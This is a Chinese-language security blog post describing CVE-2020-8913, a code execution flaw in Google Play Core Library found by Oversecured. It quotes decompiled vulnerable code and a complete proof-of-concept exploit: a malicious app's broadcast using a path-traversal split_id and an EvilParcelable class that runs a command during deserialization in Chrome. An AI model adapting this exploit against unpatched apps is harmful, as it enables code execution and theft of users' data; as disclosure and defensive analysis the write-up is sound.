挖洞经验 | Google Play Core Library中的代码执行漏洞
作者:admin | 时间:2020-10-1 21:30:53 | 分类:黑客技术 隐藏侧边栏展开侧边栏
年初2月,Oversecured公司就利用该系统探测发现了谷歌Google Play Core Library核心库中的一个高危代码执行漏洞,漏洞影响所有依赖调用该库的APP应用程序,攻击者可通过向受害者手机中植入恶意APP应用,然后利用该漏洞窃取用户隐私数据。
漏洞介绍
Google Play Core Library是针对安卓系统的一个主流应用库,该库可通过Google API接口在后台动态向用户APP应用实现推送更新、优化存储、自适应调整等功能。Oversecured公司发现Google Play Core Library中存在的该漏洞,允许攻击者在APP应用中添加运行模块并在其中实现代码执行,最终将可成功窃取受害者手机中的登录凭据、交易信息、电子邮件等敏感信息。
安全公司Oversecured负责内核安全扫描的专家通过测试了多款主流APP应用后发现,安卓原生态中的谷歌Google Play Core library源码中存在任意文件窃取和任意文件覆盖两个严重安全问题。以下为该两个漏洞问题的源码出处:
根据上述发现,Oversecured专家对漏洞可能的攻击范围展开了调查,并及时上报了谷歌。在后续的分析中,Oversecured专家编写漏洞利用代码成功在Google Chrome 的APP应用中实现了文件替换和代码执行。
漏洞代码片段分析
通过反混淆等技术,Oversecured测试人员对Google Chrome App应用进行了反编译,然后发现了以下问题:
1、在代码文件com/google/android/play/core/splitinstall/C3748l.java中存在一个未经保护的广播接收器(broadcast receiver),攻击者可以经由第三方app应用向其其中发送构造内容,并迫使原APP向任意位置拷贝任意文件,尤其是向可导致目录遍历的参数split_id位置。该广播接收器(broadcast receiver)的注册信息如下:
private C3748l(Context context, C3741e eVar) { super(new ae("SplitInstallListenerRegistry"), new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"), context);
另外,同一安卓设备中的第三方应用可通过以下代码文件com/google/android/play/core/listener/C3718a.java广播任意数据信息:
protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) { this.f22595a = aeVar; this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService` this.f22597c = context; } private final void m15347a() { if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) { this.f22599e = new C3719b(this, 0); this.f22597c.registerReceiver(this.f22599e, this.f22596b); // registration of unprotected broadcast receiver
代码文件com/google/android/play/core/splitinstall/SplitInstallSessionState.java则负责处理接收到的信息:
public static SplitInstallSessionState m15407a(Bundle bundle) { return new SplitInstallSessionState(bundle.getInt("session_id"), bundle.getInt("status"), bundle.getInt("error_code"), bundle.getLong("bytes_downloaded"), bundle.getLong("total_bytes_to_download"), bundle.getStringArrayList("module_names"), bundle.getStringArrayList("languages"), (PendingIntent) bundle.getParcelable("user_confirmation_intent"), bundle.getParcelableArrayList("split_file_intents")); // `split_file_intents` will be parsed }
2、在代码文件com/google/android/play/core/internal/ab.java中,Google Play Core Library核心库会从split_id参数下split_file_intents URL中的目录位置unverified-splits拷贝内容(split_id参数如果缺乏校验则会导致目录遍历):
for (Intent next : list) { String stringExtra = next.getStringExtra("split_id"); File a = this.f22543b.mo32067a(stringExtra); // path traversal from `/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/` if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists()) { bufferedInputStream = new BufferedInputStream(new FileInputStream(this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor())); // data of `split_file_intents` intents fileOutputStream = new FileOutputStream(a); byte[] bArr = new byte[4096]; while (true) { int read = bufferedInputStream.read(bArr); if (read <= 0) { break; } fileOutputStream.write(bArr, 0, read);
进一步分析后发现,verified-splits目录下包含了当前APP应用的签名检验信息,如果该目录下config.前缀的文件启动后,会自动被添加到APP运行的类扩展器ClassLoader中。基于此隐患,攻击者可以创建一个实现类,如在Parcelable接口中包含进恶意代码,然后把其实例发送到存在漏洞的APP应用去,这样的话,利用createFromParcel方法的反序列化操作即可实现本地代码执行。
POC验证
Oversecured公司选择Google Chrome APP作为测试目标,通过执行chmod -R 777 /data/user/0/com.android.chrome进行权限分配,启动APP应用后,由于未受保护的消息接收器receiver在Google Play Core library中进行了注册,3秒后,消息接收器receiver便接收到了加载已序列化对象类ClassResolver的测试指令,5秒后,攻击者通过发送对象EvilParcelable,实现了反序列化过程的代码执行。在安卓应用中,当某个组件接收到一个意图指令状态后,其所有附加对象都会被执行反序列化,如Intent.hasExtra(name)方法。整个过程的代码逻辑如下:
public static final String APP = "com.android.chrome"; protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP); startActivity(launchIntent); new Handler().postDelayed(() -> { Intent split = new Intent(); split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir)); split.putExtra("split_id", "../verified-splits/config.test"); Bundle bundle = new Bundle(); bundle.putInt("status", 3); bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split))); Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"); intent.setPackage(APP); intent.putExtra("session_state", bundle); sendBroadcast(intent); }, 3000); new Handler().postDelayed(() -> { startActivity(launchIntent.putExtra("x", new EvilParcelable())); }, 5000); }
攻击者端控制的代码执行逻辑如下:
package oversecured.poc; import android.os.Parcelable; public class EvilParcelable implements Parcelable { public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() { public EvilParcelable createFromParcel(android.os.Parcel parcel) { exploit(); return null; } public EvilParcelable[] newArray(int i) { exploit(); return null; } private void exploit() { try { Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor(); } catch (Throwable th) { throw new RuntimeException(th); } } }; public int describeContents() { return 0; } public void writeToParcel(android.os.Parcel parcel, int i) {} }
总结
该漏洞上报后被谷歌威胁评分为8.8,漏洞将会影响如Google Chrome等依赖Google Play Core Library库的所有主流APP应用,导致任意代码执行,造成用户个人信息、浏览记录、交易数据等隐私敏感数据信息被窃。APP开发方请及时更新Google Play Core library至最新状态。
漏洞上报和处理进程
02/26/2020 漏洞发现
02/27/2020 漏洞分析并上报谷歌
04/06/2020 谷歌确认漏洞有效并执行修复
07/22/2020 谷歌分配漏洞编号CVE-2020-8913
参考来源:Oversecured